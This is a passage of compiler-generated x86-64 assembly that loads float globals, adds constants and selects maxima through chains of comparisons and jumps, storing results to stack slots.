pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1472
movss xmm1, DWORD PTR x_11[rip]
movss xmm0, DWORD PTR .LC25[rip]
addss xmm0, xmm1
jmp .L364
.L1472:
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
.L364:
movss DWORD PTR -44[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1473
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
jmp .L382
.L1473:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
.L382:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_8[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC1[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1474
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L385
.L1474:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
.L385:
comisd xmm0, xmm1
jbe .L1475
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1476
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
jmp .L391
.L1476:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
jmp .L391
.L1475:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1477
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
jmp .L391
.L1477:
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
.L391:
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1478
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L397
.L1478:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L397:
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC17[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_15[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC2[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1479
movss xmm2, DWORD PTR x_13[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC17[rip]
addsd xmm2, xmm3
jmp .L400
.L1479:
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
.L400:
comisd xmm1, xmm2
jbe .L1480
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1481
movss xmm1, DWORD PTR x_11[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L406
.L1481:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
jmp .L406
.L1480:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1482
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
jmp .L406
.L1482:
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
.L406:
comisd xmm0, xmm1
jbe .L1483
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1484
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
jmp .L414
.L1484:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC23[rip]
addsd xmm0, xmm1
.L414:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_8[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC1[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1485
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
jmp .L417
.L1485:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
.L417:
comisd xmm0, xmm1
jbe .L1486
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC24[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1487
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC27[rip]
addss xmm0, xmm1
jmp .L427
.L1487:
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC26[rip]
addss xmm0, xmm1
jmp .L427
.L1486:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1488
movss xmm1, DWORD PTR x_6[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
jmp .L427
.L1488:
movss xmm1, DWORD PTR x_8[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
jmp .L427
.L1483:
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1489
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
jmp .L430
.L1489:
movss xmm0, DWORD PTR x_12[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC16[rip]
addsd xmm0, xmm1
.L430:
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_15[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1490
movss xmm1, DWORD PTR x_13[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC17[rip]
addsd xmm1, xmm2
jmp .L433
.L1490:
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
.L433:
comisd xmm0, xmm1
jbe .L1491
movss xmm0, DWORD PTR x_11[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1492
movss xmm1, DWORD PTR x_11[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L427
.L1492:
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
jmp .L427
.L1491:
movss xmm0, DWORD PTR x_13[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC17[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_15[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1493
movss xmm1, DWORD PTR x_13[rip]
movss xmm0, DWORD PTR .LC20[rip]
addss xmm0, xmm1
jmp .L427
.L1493:
movss xmm1, DWORD PTR x_15[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
.L427:
movss DWORD PTR -40[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1494
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L445
.L1494:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
.L445:
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_3[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC34[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1495
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
jmp .L448
.L1495:
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
.L448:
comisd xmm0, xmm1
jbe .L1496
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1497
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L454
.L1497:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
jmp .L454
.L1496:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC34[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1498
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC34[rip]
addsd xmm0, xmm1
jmp .L454
.L1498:
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC34[rip]
addsd xmm0, xmm1
.L454:
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_9[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1499
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
jmp .L460
.L1499:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
.L460:
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC7[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_14[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC16[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1500
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC7[rip]
addsd xmm2, xmm3
jmp .L463
.L1500:
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
.L463:
comisd xmm1, xmm2
jbe .L1501
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_9[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1502
movss xmm1, DWORD PTR x_4[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
jmp .L469
.L1502:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
jmp .L469
.L1501:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1503
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
jmp .L469
.L1503:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L469:
comisd xmm0, xmm1
jbe .L1504
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1505
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L477
.L1505:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC32[rip]
addsd xmm0, xmm1
.L477:
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_3[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC34[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1506
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
jmp .L480
.L1506:
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
.L480:
comisd xmm0, xmm1
jbe .L1507
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC32[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1508
movss xmm1, DWORD PTR x_0[rip]
movss xmm0, DWORD PTR .LC8[rip]
addss xmm0, xmm1
jmp .L490
.L1508:
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC33[rip]
addss xmm0, xmm1
jmp .L490
.L1507:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC34[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC34[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1509
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC36[rip]
addss xmm0, xmm1
jmp .L490
.L1509:
movss xmm1, DWORD PTR x_3[rip]
movss xmm0, DWORD PTR .LC36[rip]
addss xmm0, xmm1
jmp .L490
.L1504:
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC6[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1510
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC6[rip]
addsd xmm0, xmm1
jmp .L493
.L1510:
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC6[rip]
addsd xmm0, xmm1
.L493:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1511
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
jmp .L496
.L1511:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L496:
comisd xmm0, xmm1
jbe .L1512
movss xmm0, DWORD PTR x_4[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC6[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1513
movss xmm1, DWORD PTR x_4[rip]
movss xmm0, DWORD PTR .LC14[rip]
addss xmm0, xmm1
jmp .L490
.L1513:
movss xmm1, DWORD PTR x_9[rip]
movss xmm0, DWORD PTR .LC14[rip]
addss xmm0, xmm1
jmp .L490
.L1512:
movss xmm0, DWORD PTR x_12[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1514
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC15[rip]
addss xmm0, xmm1
jmp .L490
.L1514:
movss xmm1, DWORD PTR x_14[rip]
movss xmm0, DWORD PTR .LC19[rip]
addss xmm0, xmm1
.L490:
movss DWORD PTR -36[rbp], xmm0
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1515
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L508
.L1515:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
.L508:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_7[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC4[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1516
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC22[rip]
addsd xmm1, xmm2
jmp .L511
.L1516:
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
.L511:
comisd xmm0, xmm1
jbe .L1517
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_5[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1518
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L517
.L1518:
movss xmm0, DWORD PTR x_5[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
jmp .L517
.L1517:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_7[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1519
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC22[rip]
addsd xmm0, xmm1
jmp .L517
.L1519:
movss xmm0, DWORD PTR x_7[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
.L517:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_10[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC23[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1520
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC29[rip]
addsd xmm1, xmm2
jmp .L523
.L1520:
movss xmm1, DWORD PTR x_10[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC23[rip]
addsd xmm1, xmm2
.L523:
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_13[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC23[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1521
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC2[rip]
addsd xmm2, xmm3
jmp .L526
